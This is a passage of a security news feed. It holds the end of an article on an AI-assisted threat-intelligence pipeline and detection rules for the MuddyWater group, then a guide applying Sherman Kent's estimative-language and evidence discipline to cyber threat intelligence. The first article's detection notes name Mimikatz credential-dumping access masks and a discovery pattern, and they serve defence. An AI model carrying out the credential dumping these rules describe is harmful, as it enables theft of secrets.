covering T1518.001, T1016, and T1082. The documented CISA script also collects the username via Win32_ComputerSystem. T1033 (System Owner/User Discovery) was missing. Fixed by adding Win32_ComputerSystem|Win32_UserAccount|UserName to the pattern&nbsp;match.det_mw_0004 Rule A &mdash; Missing x86 Google path. The initial allowlist only contained the x64 path C:\Program Files\Google\. On 64-bit Windows, the 32-bit Google Update installs to C:\Program Files (x86)\Google\. Without the x86 path in the allowlist, any Goopdate.dll load from the legitimate 32-bit Google installation would fire the detection. Added both&nbsp;paths.det_mw_0010 Rule A &mdash; Access mask set too narrow. The initial mask set covered standard Mimikatz masks (0x1010, 0x1410, 0x1438) but missed 0x1fffff (PROCESS_ALL_ACCESS, used by custom C++ dumpers and some loaders) and 0x1f0fff (another all-access variant observed in field reporting). A detection that only catches stock Mimikatz masks is bypassed by any custom implementation. Extended the mask set to cover known custom-dumper variants.The lesson: Writing pseudologic in a YAML field with no syntax validation means operator precedence bugs survive until someone reads the logic carefully. Structured peer review &mdash; ideally by someone who will try to break the rule &mdash; catches these before they hit production.Scar 6: The OpenCTI Stack Was in a Different RepositoryThe original project structure had the OpenCTI Docker Compose stack in a separate repository (opencti-intelligent-shield) that was not included in the desert-hydra repo. The start.sh script referenced the external repo with a hardcoded path. Cloning operation-desert-hydra and running start.sh failed immediately on any machine other than the development machine.What was fixed: The entire stack &mdash; docker-compose.yml, docker-compose.kibana.yml, and&nbsp;.env.template &mdash; was copied into stack/ inside the desert-hydra repo. All path references were updated. The repo is now fully self-contained: git clone + cp&nbsp;.env.template&nbsp;.env + bash start.sh works from a clean machine with no external dependencies beyond Docker, Vagrant, VirtualBox, Ansible, and&nbsp;pywinrm.The lesson: A reproducibility claim requires everything needed to reproduce to be in the same repository. External path dependencies are invisible during development and obvious on first external&nbsp;clone.Scar 7: MITRE Connector TimingThe import script (tools/opencti_import.py) creates MuddyWater &rarr; uses &rarr; ATT&amp;CK technique relationships by looking up techniques that the MITRE ATT&amp;CK connector has synced into OpenCTI. The connector takes several minutes to complete its initial sync of 846 techniques.If the import script runs before the connector finishes, the technique lookup returns nothing &mdash; the techniques don&rsquo;t exist yet. The original script failed silently on these lookups and skipped the relationship creation.What was fixed: The script was updated with find_or_create_attack_pattern(): if a technique is not yet in OpenCTI, create a stub AttackPattern object with the correct x_mitre_id. When the MITRE connector eventually syncs that technique, OpenCTI&#039;s deduplication logic merges the stub with the connector&#039;s fully populated object. All relationships that were created against the stub are preserved and now point to the enriched object. Running the script a second time after the connector finishes confirms existing objects rather than creating duplicates.The lesson: Any script that creates relationships against objects populated by a connector needs to handle the case where the connector has not finished. Fail loudly or create stubs &mdash; don&rsquo;t skip silently.Surviving GapsTwo failures from Phase 5 remain&nbsp;open:det_mw_0004 &mdash; DLL side-loading detection (EID 7) is not lab-validated. The detection rule is sound; the simulation needs a valid PE DLL. Coverage score stays at 3 until the lab is extended with a compiled test&nbsp;DLL.det_mw_0008a &mdash; Telegram Bot API connection detection (EID 3) is not lab-validated. The detection rule is sound; the lab network topology prevents capturing external destination hostnames via NAT. Coverage score stays at 3 until the VM has a direct internet path or a local HTTPS proxy&nbsp;target.These are documented as open items, not dismissed as &ldquo;out of scope.&rdquo; The coverage score scale is designed to reflect this: a score of 3 means &ldquo;behavioral detection, no lab proof&rdquo; &mdash; it is honest about the gap rather than claiming coverage that was not validated.Seven ATT&amp;CK techniques have zero detection coverage. Lateral movement (T1021.001 RDP, T1550.002 Pass the Hash), Collection (T1005, T1039), Exfiltration (T1041), and Impact (T1486 ransomware, T1490 shadow copy deletion from DarkBit). These are acknowledged in the coverage matrix, not hidden. The actor uses them. The public source base documents them. The detection coverage does not exist in this iteration.All code, data, and proof screenshots are version-controlled at github.com/anpa1200/operation-desert-hydraFollow My&nbsp;WorkI publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.Portfolio / Knowledge Base: https://anpa1200.github.io/Medium: https://medium.com/@1200kmGitHub: https://github.com/anpa1200LinkedIn: https://www.linkedin.com/in/andrey-pautov/Andrey PautovOperation Desert Hydra &mdash; AI-Assisted CTI Pipeline: MuddyWater to Kibana was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580441/IT+Sicherheit/Hacker/Operation+Desert+Hydra+%E2%80%94+AI-Assisted+CTI+Pipeline%3A+MuddyWater+to+Kibana/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580441/IT+Sicherheit/Hacker/Operation+Desert+Hydra+%E2%80%94+AI-Assisted+CTI+Pipeline%3A+MuddyWater+to+Kibana/</guid>
<pubDate>Mon, 08 Jun 2026 06:31:01 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Applying Sherman Kent’s Analytic Discipline to CTI: A Practical Analyst Guide]]></title> 
<description><![CDATA[Estimative language, evidence discipline, and analytic integrity for cyber threat intelligenceExecutive SummaryThis is an analyst guide, not a formal CTI report. It does not answer a single priority intelligence requirement, assess one actor or campaign end to end, provide an IOC package, or produce a defensive detection plan. Its purpose is narrower: show how cyber threat intelligence analysts can apply Sherman Kent-style analytic discipline to public evidence without overstating what the evidence&nbsp;proves.Sherman Kent was one of the central figures in professionalizing U.S. intelligence analysis. His writing emphasized clear estimative language, policy relevance, analytic independence, evidence discipline, explicit uncertainty, and the separation of fact from judgment (CIA, Words of Estimative Probability; CIA, The Intelligence Process: A Digest from Strategic Intelligence; CIA, Sherman Kent and the Profession of Intelligence Analysis).This article uses &ldquo;Kent-style analytic discipline&rdquo; as shorthand for that professional tradition. It is not claiming that there is one official, codified &ldquo;Sherman Kent doctrine&rdquo; that directly governs modern CTI. The safer claim is that Kent&rsquo;s principles are consistent with later Intelligence Community analytic standards and structured analytic technique guidance, including ICD 203 and the CIA tradecraft primer (ODNI, ICD 203; CIA, A Tradecraft Primer).For CTI, this matters because analysts often work from incomplete telemetry, vendor reporting, malware analysis, infrastructure links, victimology, and government attribution statements. Those evidence types do not all prove the same thing. A file hash can support a malware-family claim. A command-and-control pattern can support a campaign link. Victimology can support a targeting assessment. None of those, by itself, proves adversary intent or state&nbsp;tasking.This guide therefore focuses on one standard: make the reader see where evidence ends and assessment begins.Table of&nbsp;ContentsEvidence and Confidence Model Used&nbsp;HereEstimative Probability ReferenceWhat Is Sherman Kent-Style Analytic Discipline?What Maps From Traditional Intelligence to CTI &mdash; And What Does&nbsp;Not1. Policy Relevance Without Policy&nbsp;Capture2. Facts, Assumptions, and Judgments3. Estimative Probability Language4. Confidence Is Not Probability5. Alternative Hypotheses6. Warning, Indicators, and Collection Gaps7. Analytic Integrity in&nbsp;CTICognitive Biases CTI Analysts Should&nbsp;NameWhere ATT&amp;CK and the Pyramid of Pain&nbsp;FitKent-Style ChecklistPractical Analyst&nbsp;TemplateConclusionReferencesEvidence and Confidence Model Used&nbsp;HereThis article uses these evidence&nbsp;labels:Author-observed: directly inspected by the author. This article rarely uses this label because it is based on public reporting, not original telemetry or reverse engineering.Source-observed: the cited source claims direct access to evidence, such as imagery, telemetry, malware samples, incident response data, or official&nbsp;records.Reported: stated by a cited source, but not independently verified&nbsp;here.Assessed: analytic judgment made by a cited&nbsp;source.Inferred: reasonable interpretation made in this article from public evidence, but not directly observed.Qualifiers are tracked separately from evidence&nbsp;labels:Qualifier / limitation: ambiguity, scope limit, alternate explanation, source-access constraint, or reason the evidence should not be overinterpreted.Confidence attaches to a specific assessment, not to an example as a&nbsp;whole:High confidence: strong source access, strong credibility, meaningful corroboration, and a short inference chain.Moderate confidence: credible reporting, but incomplete visibility, limited corroboration, contested interpretation, or a longer inference chain.Low confidence: plausible inference from thin, indirect, or weakly corroborated evidence.Every example uses the same four-field confidence basis:Source access: direct telemetry, reverse engineering, official record, government statement, vendor incident response, or secondary reporting.Source reliability: established, unknown, contested, or&nbsp;mixed.Information credibility: corroborated, single-source, inferred, or disputed.Author verification: verified, partially verified, or not independently verified&nbsp;here.This is still not a formal source-grading model. Operational CTI should use a more rigorous source reliability and information credibility system, especially when reporting will support security operations, legal action, executive decision-making, or public attribution.Estimative Probability ReferenceKent argued that estimative words should not be left to normal conversational ambiguity. Different organizations use different probability bands, but a CTI team should publish and reuse one internal lexicon. A simple working version&nbsp;is:Probability is not confidence. &ldquo;Likely&rdquo; says how probable the judgment is. &ldquo;Moderate confidence&rdquo; says how strong the evidentiary basis&nbsp;is.These bands are illustrative, not universal; the important control is consistency inside the publishing team.What Is Sherman Kent-Style Analytic Discipline?Kent-style analytic discipline can be reduced to a practical standard: intelligence analysis should help decision-makers reason under uncertainty without hiding the uncertainty. The analyst&rsquo;s job is not to sound certain. The analyst&rsquo;s job is to make evidence, assumptions, probability, confidence, alternatives, and collection gaps visible enough that decision-makers understand the basis and limits of the judgment.In practice, that&nbsp;means:Serve the decision, not the preference: Intelligence should be relevant to policy or defensive decisions, but analytic judgment should not be shaped to support a preferred outcome.Separate facts from estimates: The analyst should distinguish observed evidence from assumptions, inference, and judgment.Use estimative language deliberately: Words such as &ldquo;likely,&rdquo; &ldquo;probably,&rdquo; &ldquo;possible,&rdquo; and &ldquo;almost certainly&rdquo; should communicate probability consistently rather than act as vague&nbsp;hedges.State confidence separately from probability: A judgment can be likely but low confidence if evidence is thin. A judgment can be high confidence but still not&nbsp;certain.Expose assumptions and alternatives: Analysts should test what else could explain the same evidence.Identify collection gaps: A good estimate says what is missing, not only what is believed.Preserve analytic integrity: Intelligence should be candid about uncertainty, source weakness, and&nbsp;dissent.This is not a mechanical checklist. It is a writing and reasoning discipline: structure the product so the reader can audit the analytic&nbsp;path.What Maps From Traditional Intelligence to CTI &mdash; And What Does&nbsp;NotTraditional national-security intelligence and CTI share the same analytic problem: decisions must be made before evidence is complete. Kent-style discipline maps well to CTI in several&nbsp;areas:Estimative language: CTI needs disciplined wording for attribution, intent, targeting, capability, and likelihood of future activity.Source access: CTI must distinguish endpoint telemetry, network logs, malware samples, sinkhole data, victim reporting, vendor clustering, government statements, and media summaries.Confidence: CTI must explain whether confidence comes from direct artifacts, multiple independent sources, long-term tracking, or inference.Alternative hypotheses: CTI must test whether shared infrastructure means same actor, whether victimology means deliberate targeting, and whether malware behavior proves&nbsp;intent.Collection gaps: CTI should turn uncertainty into hunt tasks, telemetry requirements, malware-analysis questions, and intelligence requirements.But not everything transfers cleanly:CTI evidence is often technical and perishable: Domains, infrastructure, certificates, hashes, and telemetry can age&nbsp;quickly.Vendor labels are not legal attribution: NOBELIUM, APT29, COZY BEAR, and other labels may overlap, but they are not automatically interchangeable.Visibility is uneven: One vendor may see endpoint telemetry, another may see cloud logs, and a government source may have classified access unavailable to public&nbsp;readers.Intent is harder than behavior: Malware execution, credential theft, and lateral movement can be documented technically. Strategic objective usually requires assessment.A CTI report needs a scoped question: This article is a tradecraft guide. A real CTI report would need a PIR, key judgments, actor or campaign scope, timeline, source base, indicators, affected victims or sectors, confidence per judgment, and defensive implications.1. Policy Relevance Without Policy&nbsp;CaptureKent argued for intelligence that mattered to national decisions. Relevance does not mean advocacy. In CTI terms, the analyst should understand the decision context &mdash; patch prioritization, detection engineering, executive risk, incident response, threat hunting, vendor exposure, or public communication &mdash; without forcing the evidence to support a preferred action.Example 1: Cuban Missile Crisis imagery supported decision-making without replacing policy&nbsp;judgmentClaim: October 1962 imagery narrowed uncertainty about Soviet offensive missile deployment in Cuba, but did not determine the U.S. policy response.Evidence: U.S. historical records describe a U-2 flight on October 14, 1962 and subsequent photo interpretation that identified Soviet MRBM sites under construction.Source access: Official historical records and archival imagery; reported in U.S. government records, not author-observed here.Assessment: This is a strong national-security example of policy-relevant intelligence: evidence clarified the threat, while the response remained a policy decision.Confidence in assessment: High.Confidence basis: Source access: official records and archival imagery; Source reliability: established; Information credibility: corroborated; Author verification: public records checked, original imagery not independently analyzed&nbsp;here.Sources: Office of the Historian, FRUS chronology; National Archives, Aerial Photograph of Missiles in&nbsp;Cuba.Qualifier / limitation: This is not a CTI case. It is used because the evidence-to-decision structure is directly relevant to CTI reporting.The CTI translation is straightforward: a malware sample, intrusion timeline, or cloud log can narrow uncertainty, but it does not automatically decide whether the organization should disclose publicly, isolate a business unit, attribute the incident, or notify regulators.Example 2: The 2007 Iran NIE decomposed a broad question into narrower judgmentsClaim: The 2007 Iran NIE separated several analytic questions &mdash; weaponization, enrichment, intent, and future capability &mdash; instead of treating &ldquo;Iran&rsquo;s nuclear program&rdquo; as one indivisible judgment.Evidence: The declassified NIE uses differentiated judgments and confidence levels across related nuclear questions.Source access: Public declassified key judgments; reported by ODNI, not author-observed classified sourcing.Assessment: The product is a useful example of decomposing a broad question into narrower estimative judgments.Confidence in assessment: High for the decomposition claim; low for any claim about policy effect unless separately sourced.Confidence basis: Source access: declassified ODNI key judgments; Source reliability: established; Information credibility: primary public document; Author verification: public text checked, classified sourcing not available.Sources: ODNI, Iran: Nuclear Intentions and Capabilities; CIA CSI, 2007 NIE on&nbsp;Iran.Qualifier / limitation: This article does not assess whether the NIE changed policy. It only uses the public product to show disciplined decomposition of judgments.2. Facts, Assumptions, and JudgmentsKent-style analysis requires a visible boundary between what the analyst knows and what the analyst concludes. The most dangerous failures often occur when assumptions are written as if they are evidence.Example 1: Iraq WMD analysis shows the risk of assumption-driven certaintyClaim: The Iraq WMD case is a negative example of insufficiently disciplined separation between evidence, assumptions, and judgment.Evidence: The WMD Commission identified weak collection, analytic errors, and failure to make clear how much analysis rested on assumptions rather than strong evidence.Source access: Official retrospective commission reporting; reported, not author-observed original intelligence.Assessment: The Kent-style lesson is that historical behavior and concealment indicators should not be converted into current capability judgments without showing the inference chain.Confidence in assessment: High for the official finding of intelligence failure; moderate for the article&rsquo;s specific &ldquo;assumption-driven certainty&rdquo; framing.Confidence basis: Source access: official retrospective commission reporting; Source reliability: established; Information credibility: corroborated for broad failure, interpreted for this article&rsquo;s lesson framing; Author verification: public report checked, original intelligence not available.Sources: WMD Commission report index; WMD Commission transmittal letter; GPO WMD Commission PDF.Qualifier / limitation: The Iraq case is not a CTI case. It is included because it is a canonical warning about assumptions, source weakness, and overconfident estimates.Correct Kent-style wording would separate:Reported: Iraq had historical WMD programs and had previously concealed activity.Reported: sources and technical indicators were interpreted as suggesting renewed activity.Assumed: past concealment behavior implied possible continuing programs.Assessed: Iraq retained or reconstituted WMD capabilities.Collection gap: direct, reliable access to current program status was&nbsp;limited.The failure mode is converting &ldquo;the regime has concealed WMD before&rdquo; into &ldquo;the regime currently has active WMD programs&rdquo; without making the inferential jump visible&nbsp;enough.Example 2: SolarWinds analysis required separating technical fact from attribution judgmentClaim: SolarWinds reporting should distinguish technical supply-chain compromise from actor attribution and strategic intent.Evidence: CISA reported malicious code inserted into the SolarWinds software lifecycle; CrowdStrike analyzed SUNSPOT&rsquo;s role in manipulating the build&nbsp;process.Source access: CISA-reported government advisory and CrowdStrike-reported technical analysis; not author-observed here.Assessment: The technical compromise, vendor cluster labels, government attribution, and intent assessment should be written as separate&nbsp;claims.Confidence in assessment: High.Confidence basis: Source access: government advisory and vendor technical analysis; Source reliability: established; Information credibility: corroborated for supply-chain compromise; Author verification: public reports checked, no independent reverse engineering here.Sources: CISA AA20&ndash;352A; CrowdStrike, SUNSPOT.Qualifier / limitation: Public reporting can support strong technical conclusions while still leaving parts of attribution and intent dependent on non-public evidence.Kent-style separation:Technical behavior: malicious Orion component inserted into build/update lifecycle.Tooling: SUNSPOT and SUNBURST.Vendor/government label: NOBELIUM, StellarParticle, APT29-style community labels depending on&nbsp;source.Attribution: assessed responsibility by governments or&nbsp;vendors.Intent: assessed intelligence collection or access objective.3. Estimative Probability LanguageKent&rsquo;s &ldquo;Words of Estimative Probability&rdquo; addressed a persistent intelligence problem: analysts use words like &ldquo;possible,&rdquo; &ldquo;probable,&rdquo; and &ldquo;likely,&rdquo; but readers may assign different probabilities to the same words. This discipline does not require every estimate to become a math problem. It requires that probability language be intentional and consistent.Example 1: APT28 attribution should preserve source confidenceClaim: Public APT28 attribution language should preserve the source&rsquo;s estimative wording.Evidence: The linked Google Cloud/Mandiant blog says FireEye assessed APT28 was most likely sponsored by the Russian government and targeted information useful to government interests. Older or fuller Mandiant/FireEye reporting may use different confidence phrasing, so analysts should preserve the exact wording of the specific source they&nbsp;cite.Source access: Vendor reporting based on proprietary analysis; exact source base not fully available to public&nbsp;readers.Assessment: &ldquo;The cited Google Cloud/Mandiant blog says FireEye assessed APT28 was most likely sponsored by the Russian government&rdquo; is stronger tradecraft than writing &ldquo;APT28 is proven to be&nbsp;Russia.&rdquo;Confidence in assessment: High for the wording recommendation; moderate for public evaluation of the underlying sponsorship claim.Confidence basis: Source access: vendor reporting based on proprietary analysis; Source reliability: established vendor; Information credibility: credible but not fully public; Author verification: linked blog wording checked, underlying evidence not independently verified.Source: Google Cloud / Mandiant, APT28.Qualifier / limitation: Vendor attribution can be credible without being fully independently auditable from public evidence.Kent-style wording:Better: &ldquo;The cited Google Cloud/Mandiant blog says FireEye assessed APT28 was most likely sponsored by the Russian government.&rdquo;Weaker: &ldquo;APT28 is Russian government-directed.&rdquo;Worse: &ldquo;APT28 is proven to be&nbsp;Russia.&rdquo;The first version preserves the source, the estimative term, and the fact that the statement is an assessment.Example 2: 2007 Iran NIE showed probability and confidence in the same&nbsp;productClaim: The 2007 Iran NIE is a useful example of stating confidence levels across separate judgments.Evidence: The declassified NIE differentiates judgments about halted weaponization, enrichment, intent, and future decisions.Source access: Public declassified key judgments; original classified evidence not available here.Assessment: The product demonstrates why broad topics should be decomposed into narrower estimates with separate uncertainty.Confidence in assessment: High.Confidence basis: Source access: declassified ODNI key judgments; Source reliability: established; Information credibility: primary public document; Author verification: public text checked, classified sourcing not available.Source: ODNI, Iran&nbsp;NIE.Qualifier / limitation: Confidence language is not a guarantee of truth. It is a statement about evidentiary strength and analytic basis at the time of the estimate.4. Confidence Is Not ProbabilityProbability answers: &ldquo;How likely is the judgment?&rdquo; Confidence answers: &ldquo;How strong is the basis for the judgment?&rdquo; Analysts often blur these together. Kent-style discipline keeps them separate.Example 1: Iraq WMD showed that high-confidence judgments can still be&nbsp;wrongClaim: High confidence does not guarantee analytic accuracy if the source base and assumptions are&nbsp;weak.Evidence: Official retrospective reporting found major problems in prewar Iraq WMD assessments, including unsupported or overstated judgments.Source access: Official retrospective investigations and public reporting.Assessment: The case shows why confidence statements must identify source quality, access, corroboration, and assumption sensitivity.Confidence in assessment: High.Confidence basis: Source access: official retrospective investigations; Source reliability: established; Information credibility: corroborated for failure finding; Author verification: public reports checked, original intelligence not available.Sources: WMD Commission report; Senate Select Committee conclusions via GlobalSecurity mirror.Qualifier / limitation: This does not mean confidence language is useless. It means confidence must be earned and explained.Kent-style analysts should&nbsp;ask:What are the strongest sources?Which sources are single points of&nbsp;failure?What assumptions connect the evidence to the judgment?What reporting contradicts the judgment?What evidence would reduce confidence?Example 2: CTI malware behavior can be high confidence while intent remains moderate confidenceClaim: A CTI product can have high confidence in technical behavior and lower confidence in actor&nbsp;intent.Evidence: Mandiant reporting ties WannaCry to SMBv1/TCP 445 propagation and EternalBlue/MS17&ndash;010 exploitation. The U.S. Department of Justice later alleged that a North Korean regime-backed programmer connected to Lazarus Group activity participated in creating the malware used in the WannaCry 2.0&nbsp;attack.Source access: Mandiant malware analysis reported technical behavior; DOJ charged/alleged DPRK-linked involvement and provided public attribution material; not author-observed here.Assessment: Analysts should assign separate confidence to malware behavior, actor clustering, government attribution, and intent. Government attribution does not remove the need to distinguish technical behavior from strategic motivation.Confidence in assessment: High.Confidence basis: Source access: Mandiant malware analysis and DOJ charging/public attribution material; Source reliability: established; Information credibility: high for SMB/MS17&ndash;010 behavior, established public government attribution exists, inferred for intent and internal tasking; Author verification: public reporting checked, no independent malware analysis&nbsp;here.Sources: Mandiant, WannaCry malware profile; Mandiant, WannaCry use of EternalBlue; DOJ, North Korean regime-backed programmer charged.Qualifier / limitation: This article does not independently adjudicate the DPRK/Lazarus attribution. It uses the case to show how post-attribution CTI should still separate behavior, attribution, and&nbsp;intent.5. Alternative HypothesesKent-style analysis does not require analysts to treat all hypotheses as equally plausible. It does require analysts to ask what else could explain the evidence and what collection would discriminate between explanations.Example 1: 9/11 warning failure showed the cost of narrow imaginationClaim: The 9/11 case illustrates why warning analysis needs alternative hypotheses before a threat becomes obvious in hindsight.Evidence: The 9/11 Commission identified failures of imagination, policy, capabilities, and management.Source access: Official retrospective commission reporting.Assessment: A warning product should test competing explanations for fragmentary indicators, including low-frequency but high-impact possibilities.Confidence in assessment: High for the broad warning lesson; moderate for any reconstructed pre-attack hypothesis set.Confidence basis: Source access: official retrospective commission reporting; Source reliability: established; Information credibility: corroborated for broad failure categories, illustrative for reconstructed hypotheses; Author verification: public report&nbsp;checked.Sources: 9/11 Commission Report PDF; Office of Justice Programs&nbsp;summary.Qualifier / limitation: Hindsight makes patterns look cleaner than they appeared at the time. The goal is humility and better warning structure, not retrospective certainty.Possible analytic frame before the&nbsp;attack:H1: Al-Qaida intended overseas attacks against U.S. interests.H2: Al-Qaida intended a major attack inside the United&nbsp;States.H3: Al-Qaida intended aviation-related operations, but the exact target and method were&nbsp;unknown.Discrimination: travel patterns, flight training, visa anomalies, financial movement, communications, and detainee reporting could have been evaluated as indicators across hypotheses.Example 2: NotPetya intent remains an assessed&nbsp;judgmentClaim: NotPetya&rsquo;s destructive effect is easier to establish publicly than the operators&rsquo; internal&nbsp;intent.Evidence: Microsoft reported destructive behavior and enterprise spread; Cisco Talos reported M.E.Doc infrastructure manipulation connected to the outbreak. The UK and U.S. governments publicly attributed NotPetya to the Russian government or Russian military in February 2018, and DOJ later charged GRU Unit 74455 officers in connection with NotPetya and other destructive operations.Source access: Vendor technical analysis, incident reporting, and public government attribution statements.Assessment: Destructive effect should be reported separately from strategic intent even after public government attribution exists.Confidence in assessment: High for destructive effect; moderate for specific intent&nbsp;claims.Confidence basis: Source access: vendor technical reporting and government attribution statements; Source reliability: established; Information credibility: corroborated for destructive effect, public attribution strengthens actor context, internal intent remains inferred; Author verification: public reports checked, no original telemetry review.Sources: Microsoft, NotPetya technical analysis; Cisco Talos, The MeDoc Connection; UK Government, Foreign Office Minister condemns Russia for NotPetya; White House, Statement from the Press Secretary; DOJ, Six Russian GRU officers&nbsp;charged.Qualifier / limitation: Public attribution strengthens the actor context, but it still does not expose every internal objective, command decision, or intended propagation boundary.Alternative hypotheses:H1: NotPetya was designed as a destructive state operation using ransomware aesthetics as&nbsp;cover.H2: NotPetya was designed primarily for Ukraine-focused disruption but propagated more broadly than intended.H3: The ransomware presentation reflected mixed objectives or operational cover rather than a pure financial motive.The evidence strongly supports destructive effect. It does not publicly prove the internal decision process behind the operation.6. Warning, Indicators, and Collection GapsKent-style analysis is not only retrospective. It should produce warning questions and collection requirements. A judgment with no collection gap is often a judgment that has not been examined carefully enough.Example 1: Cuban Missile Crisis warning depended on collection timing and imagery interpretationClaim: The Cuban Missile Crisis shows how warning changes as collection improves.Evidence: Official records describe the October 14, 1962 U-2 mission, subsequent photo interpretation, and identification of MRBM sites under construction.Source access: Official records and imagery references.Assessment: Before imagery confirmation, the problem was warning under uncertainty; after imagery, the problem became site status, operational timeline, Soviet intent, and escalation risk.Confidence in assessment: High.Confidence basis: Source access: official records and imagery references; Source reliability: established; Information credibility: corroborated; Author verification: public records&nbsp;checked.Sources: Office of the Historian, FRUS chronology; DIA photo&nbsp;record.Qualifier / limitation: This is a national-security warning example, not a CTI intrusion case.Kent-style warning questions:What indicators would show offensive missile deployment rather than defensive military&nbsp;aid?What collection confirms construction status?What evidence distinguishes operational missiles from support equipment?What is the time horizon before the threat becomes operational?What assumptions could cause overreaction or underreaction?Example 2: SolarWinds exposed a collection gap in trusted software supply&nbsp;chainsClaim: SolarWinds showed that trusted software updates can create visibility gaps not solved by ordinary IOC matching.Evidence: CISA and CrowdStrike reporting describe malicious code inserted into a trusted software build and update&nbsp;process.Source access: Government advisory and vendor technical analysis.Assessment: The collection gap included build integrity, signed software provenance, vendor trust relationships, and anomalous post-update behavior.Confidence in assessment: High for the SolarWinds-specific gap; moderate for generalizing across all software supply-chain risk.Confidence basis: Source access: government advisory and vendor technical analysis; Source reliability: established; Information credibility: corroborated for SolarWinds compromise mechanism, inferred for broader supply-chain lessons; Author verification: public reports&nbsp;checked.Sources: CISA AA20&ndash;352A; CrowdStrike, SUNSPOT.Qualifier / limitation: A supply-chain compromise does not imply every similar vendor relationship is equally&nbsp;exposed.7. Analytic Integrity in&nbsp;CTICTI reporting often mixes telemetry, malware family names, vendor clusters, infrastructure, attribution, and intent. Analytic integrity means refusing to compress those into a single confident story unless the evidence supports&nbsp;it.Example 1: APT1 victimology supports targeting assessment, not observed reconnaissanceClaim: APT1 victimology supports a target-selection assessment, but does not directly prove specific reconnaissance methods.Evidence: Mandiant reported that APT1 compromised at least 141 organizations across many industries and tied the victimology to Chinese strategic priorities.Source access: Vendor incident response and technical reporting; public readers do not see the full underlying evidence.Assessment: Victimology supports deliberate campaign-level targeting, while individual intrusion reconnaissance remains a collection gap unless separate evidence&nbsp;exists.Confidence in assessment: Moderate.Confidence basis: Source access: vendor incident response reporting; Source reliability: established vendor; Information credibility: credible but limited public raw data; Author verification: public report checked, underlying case data not available.Source: Mandiant, APT1&nbsp;report.Qualifier / limitation: Victimology alignment is not proof of tasking or pre-compromise research for each&nbsp;victim.Kent-style wording:Reported: APT1 compromised a large victim set across multiple&nbsp;sectors.Assessed by source: Victim sectors aligned with strategic economic and policy interests.Inferred by this article: The campaign likely involved deliberate target selection.Collection gap: The exact reconnaissance method before each intrusion is not directly shown by victimology alone.Example 2: SUNBURST, GoldMax, Sibot, and StellarParticle should not be flattened into one&nbsp;labelClaim: SolarWinds-related reporting requires careful separation of malware, tools, vendor clusters, campaign names, attribution, and&nbsp;intent.Evidence: Microsoft described GoldMax, GoldFinder, and Sibot as later-stage NOBELIUM tools; CrowdStrike used StellarParticle for related follow-on intrusion activity.Source access: Vendor technical analysis based on proprietary telemetry and incident response.Assessment: Treating SUNBURST, SUNSPOT, GoldMax, Sibot, NOBELIUM, StellarParticle, APT29, and COZY BEAR as interchangeable would collapse different analytic&nbsp;layers.Confidence in assessment: High.Confidence basis: Source access: vendor technical reporting; Source reliability: established vendors; Information credibility: credible and label-specific; Author verification: public reports checked, cross-vendor clustering not independently verified.Sources: Microsoft, GoldMax, GoldFinder, and Sibot; CrowdStrike, StellarParticle observations.Qualifier / limitation: Cross-vendor clustering may be valid, but it should be stated as an assessment with evidence, not assumed from name proximity.Kent-style separation:Malware/tool: SUNBURST, SUNSPOT, GoldMax, GoldFinder, Sibot.Vendor cluster: NOBELIUM, StellarParticle, APT29-style community labels.Campaign: SolarWinds-related intrusion activity.Attribution: assessed state-linked responsibility.Intent: intelligence collection, access development, or other objectives.Cognitive Biases CTI Analysts Should&nbsp;NameKent-style discipline is partly about fighting predictable analytic failure modes. The CIA tradecraft primer emphasizes structured techniques because analysts working with incomplete and ambiguous information are vulnerable to cognitive bias (CIA, A Tradecraft Primer).Common CTI bias patterns:Confirmation bias: treating every new domain, malware string, or infrastructure overlap as support for the actor hypothesis already in the analyst&rsquo;s head.Anchoring: giving too much weight to the first vendor label or first incident-response theory, even after better evidence&nbsp;appears.Mirror imaging: assuming the adversary values risk, cost, publicity, or operational tempo the same way the defender&nbsp;does.Availability bias: over-weighting the most recent high-profile campaign because it is memorable, not because it best explains the evidence.Groupthink: converging on a shared attribution label because peer teams or trusted vendors use it, without separately testing the underlying evidence.Structured analytic techniques are useful because they force friction into the analysis. Alternative hypotheses, key assumptions checks, evidence matrices, and premortems are not bureaucratic decoration; they are bias controls. In CTI, the most practical bias check is simple: before publishing an attribution, write down the strongest evidence against&nbsp;it.Where ATT&amp;CK and the Pyramid of Pain&nbsp;FitMITRE ATT&amp;CK gives CTI teams a structured vocabulary for adversary tactics and techniques based on real-world observations (MITRE ATT&amp;CK). The Pyramid of Pain, associated with David Bianco, explains why higher-level behavioral indicators and TTPs are usually harder for adversaries to change than hashes, IPs, and&nbsp;domains.Kent-style discipline does not replace these frameworks. It tells analysts how to write about&nbsp;them:Hash, IP, domain: usually source-observed or reported technical indicators; useful but often perishable and weak for attribution.Host or network artifact: stronger than a raw IOC when tied to execution context, but still may not identify an&nbsp;actor.ATT&amp;CK technique: a behavioral claim. It should be mapped only when evidence supports the behavior, not because a malware family is commonly associated with the technique.Tool: stronger than a hash when supported by reverse engineering, but tool reuse and leaks can complicate attribution.TTP pattern: stronger for clustering when repeated across time, victims, infrastructure, and&nbsp;tooling.Actor attribution and intent: assessed judgments. ATT&amp;CK mapping can support them, but does not prove them by&nbsp;itself.Example: &ldquo;The intrusion used credential dumping&rdquo; is a technique-level claim. &ldquo;This was APT28&rdquo; is an attribution claim. &ldquo;The objective was strategic intelligence collection&rdquo; is an intent claim. They need different evidence and different confidence statements.Kent-Style ChecklistUse this checklist before publishing an analytic judgment:Question: What decision or intelligence requirement does this&nbsp;answer?Claim: What exactly are you asserting?Evidence: What is source-observed, reported, assessed, or inferred?Source access: Did the source have telemetry, malware samples, logs, imagery, victim access, official records, or secondhand reporting?Source reliability: Is the source established, unknown, contested, or&nbsp;mixed?Information credibility: Is the information corroborated, single-source, inferred, or disputed?Author verification: What did you personally verify?Assumptions: What must be true for the judgment to&nbsp;hold?Probability: How likely is the judgment?Confidence: How strong is the evidence&nbsp;base?Alternatives: What else could explain the same evidence?Discrimination: What evidence would separate the hypotheses?Gaps: What do we still not&nbsp;know?Dissent: Are there credible disagreements or minority&nbsp;views?Change indicators: What would cause the assessment to&nbsp;change?Practical Analyst&nbsp;TemplateProduct title:Primary intelligence requirement:Decision context:Analyst:Date:Bottom line:- Assessment:- Probability language:- Confidence:- Scope and time 